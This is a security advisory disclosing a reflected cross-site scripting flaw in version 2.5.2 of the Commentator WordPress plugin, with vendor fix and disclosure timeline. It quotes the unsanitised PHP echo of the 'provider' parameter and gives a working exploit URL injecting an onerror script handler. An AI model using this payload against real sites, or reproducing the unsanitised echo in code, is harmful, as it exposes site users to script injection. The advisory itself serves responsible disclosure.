Exploit the possiblities

WordPress Commentator 2.5.2 Cross Site Scripting

WordPress Commentator 2.5.2 Cross Site Scripting
Posted Jan 13, 2016
Authored by Rahul Pratap Singh

WordPress Commentator plugin version 2.5.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 1af2555208af8f47ed3e59a5d4017f18

WordPress Commentator 2.5.2 Cross Site Scripting

Change Mirror Download
#Product  : Commentator WordPress Plugin
#Exploit Author : Rahul Pratap Singh
#Version : 2.5.2
#Home page Link :
http://codecanyon.net/item/commentator-wordpress-plugin/6425752
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 13/Jan/2016

XSS Vulnerability:

----------------------------------------
Description:
----------------------------------------
"provider" parameter is not sanitized that leads to Reflected XSS.

----------------------------------------
Vulnerable Code:
----------------------------------------
file: commentator.php

line:441
$provider_name = $_REQUEST["provider"];

line:544
<div id="commentator-social-signin" class="commentator-<?php echo
$provider_name; ?>">

----------------------------------------
Exploit:
----------------------------------------
/wp-admin/admin-ajax.php?action=commentator_social_signin&provider=facebook">%20<IMG%20SRC=axc%20onerror=alert(1)>

----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/01/commentatorxsspoc.png

Fix:
Update to 2.5.3

Disclosure Timeline:
reported to vendor : 9/1/2016
vendor response : 11/1/2016
vendor acknowledged : 11/1/2016
vendor deployed a patch: 11/1/2016

Pub ref:
http://codecanyon.net/item/commentator-wordpress-plugin/6425752
https://0x62626262.wordpress.com/2016/01/13/commentator-wordpress-plugin-xss-vulnerability

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